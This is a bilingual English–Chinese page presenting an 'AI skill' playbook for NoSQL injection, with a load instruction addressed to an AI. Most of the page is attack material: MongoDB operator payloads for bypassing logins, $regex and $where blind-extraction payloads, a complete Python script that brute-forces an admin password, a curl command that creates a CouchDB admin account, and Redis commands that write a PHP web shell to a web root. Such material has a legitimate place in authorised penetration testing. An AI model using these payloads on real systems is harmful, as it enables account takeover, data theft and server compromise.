nosql-injection
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: NoSQL Injection — Expert Attack Playbook
SKILL: NoSQL Injection — 高级攻击实战手册
AI LOAD INSTRUCTION: NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.
AI加载说明:NoSQL注入与SQL注入有本质区别,涵盖MongoDB运算符注入、身份认证绕过、盲注提取、聚合管道注入,以及Redis/CouchDB专属攻击。仅了解SQLi模式的测试人员通常很容易漏测这类漏洞。
1. CORE CONCEPT — OPERATOR INJECTION
1. 核心概念——运算符注入
SQL Injection breaks out of string literals.
NoSQL Injection injects query operators that change query logic.
NoSQL Injection injects query operators that change query logic.
MongoDB example — normal query:
javascript
db.users.find({username: "alice", password: "secret"})Injection via JSON operator:
json
{
"username": "admin",
"password": {"$gt": ""}
}→ Becomes: → password > "" → always true!
find({username:"admin", password:{$gt:""}})SQL注入的核心是突破字符串字面量边界。
NoSQL注入的核心是注入查询运算符来修改查询逻辑。
NoSQL注入的核心是注入查询运算符来修改查询逻辑。
MongoDB示例——正常查询:
javascript
db.users.find({username: "alice", password: "secret"})通过JSON运算符注入:
json
{
"username": "admin",
"password": {"$gt": ""}
}→ 最终执行: → password > "" 恒成立!
find({username:"admin", password:{$gt:""}})2. MONGODB — LOGIN BYPASS
2. MongoDB——登录绕过
JSON Body Injection (API with JSON Content-Type)
JSON Body注入(JSON格式的API接口)
json
POST /api/login
Content-Type: application/json
{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}json
POST /api/login
Content-Type: application/json
{"username": "admin", "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": "admin", "password": {"$regex": ".*"}}PHP $_POST
Array Injection (URL-encoded form)
$_POSTPHP $_POST
数组注入(URL编码表单)
$_POSTusername=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*username=admin&password[$ne]=invalid
username=admin&password[$gt]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$regex]=.*Ruby / Python params
Array Injection
paramsRuby / Python params
数组注入
paramsSame as PHP — use bracket notation to inject objects:
?username[%24ne]=invalid&password[%24ne]=invalid%24$和PHP逻辑一致,使用方括号语法注入对象:
?username[%24ne]=invalid&password[%24ne]=invalid%24$3. MONGODB OPERATORS FOR INJECTION
3. 可用于注入的MongoDB运算符
| Operator | Meaning | Use Case |
|---|---|---|
| not equal | |
| greater than | |
| greater or equal | Similar to $gt |
| less than | |
| regex match | |
| JS expression | MOST DANGEROUS — code execution |
| field exists | |
| in array | |
| 运算符 | 含义 | 使用场景 |
|---|---|---|
| 不等于 | |
| 大于 | |
| 大于等于 | 和$gt用法类似 |
| 小于 | |
| 正则匹配 | |
| JS表达式 | 风险最高——可执行代码 |
| 字段是否存在 | |
| 在数组范围内 | |
4. BLIND DATA EXTRACTION VIA $REGEX
4. 基于$REGEX的盲数据提取
Like binary search in SQLi, use to extract field values character by character:
$regexjson
// Does admin's password start with 'a'?
{"username": "admin", "password": {"$regex": "^a"}}
// Does admin's password start with 'b'?
{"username": "admin", "password": {"$regex": "^b"}}
// Continue: narrow down each position
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}Response difference: successful login vs failed login = boolean oracle.
Automate with NoSQLMap or custom script with binary search on character set.
和SQLi中的二分法逻辑类似,使用逐字符提取字段值:
$regexjson
// 管理员密码是否以'a'开头?
{"username": "admin", "password": {"$regex": "^a"}}
// 管理员密码是否以'b'开头?
{"username": "admin", "password": {"$regex": "^b"}}
// 持续迭代:缩小每个位置的字符范围
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^ac"}}响应差异:登录成功/失败的返回就是布尔判断依据。
自动化实现:使用NoSQLMap工具或自定义脚本基于字符集做二分法遍历。
5. MONGODB $WHERE INJECTION (JS EXECUTION)
5. MongoDB $WHERE注入(JS执行)
$whereCan only use current document's fields — not system access. But allows logic abuse:
json
{"$where": "this.username == 'admin' && this.password.length > 0"}
// Blind extraction via timing:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}
// Regex via JS:
{"$where": "this.username.match(/^adm/) && true"}Limit: doesn't give OS command execution — server-side JS injection (not to be confused with command injection).
$where$where仅可访问当前文档的字段,无法直接访问系统,但仍可被用于逻辑滥用:
json
{"$where": "this.username == 'admin' && this.password.length > 0"}
// 基于时间的盲注提取:
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}
// 基于JS的正则匹配:
{"$where": "this.username.match(/^adm/) && true"}限制:无法直接执行OS命令,属于服务端JS注入(不要和命令注入混淆)。
$where6. AGGREGATION PIPELINE INJECTION
6. 聚合管道注入
When user-controlled data enters or stages:
$match$groupjavascript
// Vulnerable code:
db.collection.aggregate([
{$match: {category: userInput}}, // userInput = {"$ne": null}
...
])Inject operators to bypass:
json
// Input as object:
{"$ne": null} → matches all categories
{"$regex": ".*"} → matches all当用户可控数据进入或阶段时可能触发:
$match$groupjavascript
// 存在漏洞的代码:
db.collection.aggregate([
{$match: {category: userInput}}, // userInput = {"$ne": null}
...
])注入运算符实现绕过:
json
// 传入对象格式的输入:
{"$ne": null} → 匹配所有分类
{"$regex": ".*"} → 匹配所有内容7. HTTP PARAMETER POLLUTION FOR NOSQL
7. 针对NoSQL的HTTP参数污染
Some frameworks (Express.js, PHP) parse repeating parameters as arrays:
?filter=value1&filter=value2 → filter = ["value1", "value2"]Use library parse behavior in Node.js:
qs?filter[$ne]=invalid
→ parsed as: filter = {$ne: "invalid"}
→ NoSQL operator injection部分框架(Express.js、PHP)会将重复参数解析为数组:
?filter=value1&filter=value2 → filter = ["value1", "value2"]利用Node.js中库的解析特性:
qs?filter[$ne]=invalid
→ 解析为: filter = {$ne: "invalid"}
→ 实现NoSQL运算符注入8. COUCHDB ATTACKS
8. CouchDB攻击
HTTP Admin API (if exposed)
HTTP Admin API(如果暴露)
bash
undefinedbash
undefinedList databases:
列出所有数据库:
Read all documents in a DB:
读取某个数据库下的所有文档:
Create admin account (if anonymous access allowed):
创建管理员账号(如果允许匿名访问):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'
---curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'
---9. REDIS INJECTION
9. Redis注入
Redis exposed (6379) with no auth — command injection via input used in Redis queries:
undefinedRedis端口(6379)暴露且无认证时,可通过Redis查询中使用的输入实现命令注入:
undefinedVia SSRF or direct injection:
通过SSRF或直接注入:
SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVE
**Auth bypass** (older Redis with `requirepass` using simple password):AUTH password
AUTH 123456
AUTH redis
AUTH admin
---SET key "<?php system($_GET['cmd']); ?>"
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
BGSAVE
**认证绕过**(旧版Redis使用简单密码配置`requirepass`时):AUTH password
AUTH 123456
AUTH redis
AUTH admin
---10. DETECTION PAYLOADS
10. 检测Payload
Send these to any input processed by NoSQL backend:
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=JSON variant test (change Content-Type to if endpoint is form-based):
application/jsonjson
{"username": "admin", "password": {"$ne": ""}}向所有由NoSQL后端处理的输入发送以下Payload:
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', sleep(1000)
1' ; sleep(1000)
{"$gt": ""}
{"$ne": "invalid"}
[$ne]=invalid
[$gt]=JSON变体测试(如果接口原本是表单格式,修改Content-Type为):
application/jsonjson
{"username": "admin", "password": {"$ne": ""}}11. NOSQL VS SQL — KEY DIFFERENCES
11. NoSQL VS SQL——核心差异
| Aspect | SQLi | NoSQLi |
|---|---|---|
| Language | SQL syntax | Query operator objects |
| Injection vector | String concatenation | Object/operator injection |
| Common signal | Quote breaks response | |
| Extraction method | UNION / error-based | |
| Auth bypass | | |
| OS command | xp_cmdshell (MSSQL) | Rare (need |
| Fingerprint | DB-specific error messages | "cannot use $" errors |
| 维度 | SQLi | NoSQLi |
|---|---|---|
| 语言 | SQL语法 | 查询运算符对象 |
| 注入载体 | 字符串拼接 | 对象/运算符注入 |
| 常见特征 | 引号会破坏响应 | |
| 数据提取方法 | UNION / 报错注入 | |
| 认证绕过方式 | | |
| 执行OS命令 | xp_cmdshell (MSSQL) | 极少(需要 |
| 指纹特征 | 数据库专属报错信息 | "无法使用$"类报错 |
12. TESTING CHECKLIST
12. 测试检查清单
□ Test login fields with: {"$ne": "invalid"} JSON body
□ Test URL-encoded forms: password[$ne]=invalid
□ Test $regex for blind enumeration of field values
□ Try $where with sleep() for time-based blind
□ Check 5984 port for CouchDB (unauthenticated admin)
□ Check 6379 port for Redis (unauthenticated)
□ Try Content-Type: application/json on form endpoints
□ Monitor for operator-related error messages ("BSON" "operator" "$not allowed")□ 测试登录字段:发送{"$ne": "invalid"}格式的JSON body
□ 测试URL编码表单:password[$ne]=invalid
□ 测试$regex盲注枚举字段值
□ 尝试带sleep()的$where实现时间盲注
□ 检查5984端口是否暴露CouchDB(未认证管理员权限)
□ 检查6379端口是否暴露Redis(未认证)
□ 尝试在表单接口修改Content-Type为application/json测试
□ 监控运算符相关报错信息("BSON" "operator" "$not allowed")13. BLIND NoSQL EXTRACTION AUTOMATION
13. 盲NoSQL提取自动化
$regex Character-by-Character Extraction (Python Template)
$regex逐字符提取(Python模板)
python
import requests
import string
url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""
while True:
found = False
for c in charset:
payload = {
"username": "admin",
"password[$regex]": f"^{password}{c}.*"
}
r = requests.post(url, json=payload)
if "success" in r.text or r.status_code == 302:
password += c
found = True
print(f"Found: {password}")
break
if not found:
break
print(f"Final password: {password}")python
import requests
import string
url = "http://target/login"
charset = string.ascii_lowercase + string.digits + string.punctuation
password = ""
while True:
found = False
for c in charset:
payload = {
"username": "admin",
"password[$regex]": f"^{password}{c}.*"
}
r = requests.post(url, json=payload)
if "success" in r.text or r.status_code == 302:
password += c
found = True
print(f"已找到: {password}")
break
if not found:
break
print(f"最终密码: {password}")$regex via URL-encoded GET Parameters
基于URL编码GET参数的$regex注入
username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*username=admin&password[$regex]=^a.*
username=admin&password[$regex]=^ab.*Iterate through charset until login succeeds
遍历字符集直到登录成功
undefinedundefinedDuplicate Key Bypass
重复键绕过
json
// When app checks one key but processes another:
{"id": "10", "id": "100"}
// JSON parsers typically use last occurrence
// Bypass: WAF validates id=10, app processes id=100json
// 当应用只校验第一个键但处理最后一个键时:
{"id": "10", "id": "100"}
// JSON解析器通常使用最后出现的键值
// 绕过逻辑:WAF校验id=10,应用实际处理id=10014. AGGREGATION PIPELINE INJECTION
14. 聚合管道注入
When user input reaches MongoDB aggregation pipeline stages:
javascript
// If user controls $match stage:
db.collection.aggregate([
{ $match: { user: INPUT } } // INPUT from user
])
// Injection: provide object instead of string
// INPUT = {"$gt": ""} → matches all documents
// $lookup for cross-collection data access:
// If $lookup stage is injectable:
{ $lookup: {
from: "admin_users", // attacker-chosen collection
localField: "user_id",
foreignField: "_id",
as: "leaked"
}}
// $out to write results to new collection:
{ $out: "public_collection" } // Write query results to accessible collection当用户输入进入MongoDB聚合管道阶段时:
javascript
// 如果用户可控$match阶段:
db.collection.aggregate([
{ $match: { user: INPUT } } // INPUT来自用户输入
])
// 注入方式:传入对象而非字符串
// INPUT = {"$gt": ""} → 匹配所有文档
// $lookup实现跨集合数据访问:
// 如果$lookup阶段可注入:
{ $lookup: {
from: "admin_users", // 攻击者指定的集合
localField: "user_id",
foreignField: "_id",
as: "leaked"
}}
// $out将结果写入新集合:
{ $out: "public_collection" } // 将查询结果写入可访问的公共集合$where JavaScript Execution
$where JavaScript执行
javascript
// $where allows arbitrary JavaScript (DANGEROUS):
db.users.find({ $where: "this.username == 'admin'" })
// If input reaches $where:
// Injection: ' || 1==1 || '
// Or: '; return true; var x='
// Time-based: '; sleep(5000); var x='
// Data exfil: '; if(this.password[0]=='a'){sleep(5000)}; var x='Reference: Soroush Dalili — "MongoDB NoSQL Injection with Aggregation Pipelines" (2024)
Note: runs JavaScript on the server. Besides logic abuse and timing oracles, older MongoDB builds without a tight V8 sandbox historically raised RCE concerns; prefer treating any sink as high risk.
$where$wherejavascript
// $where允许执行任意JavaScript(风险极高):
db.users.find({ $where: "this.username == 'admin'" })
// 如果输入可进入$where:
// 注入: ' || 1==1 || '
// 或者: '; return true; var x='
// 时间盲注: '; sleep(5000); var x='
// 数据导出: '; if(this.password[0]=='a'){sleep(5000)}; var x='参考资料:Soroush Dalili — 《MongoDB NoSQL Injection with Aggregation Pipelines》(2024)
注意:会在服务端运行JavaScript。除了逻辑滥用和时间判断之外,没有严格V8沙箱限制的旧版MongoDB历史上存在RCE风险,任何注入点都应判定为高风险。
$where$where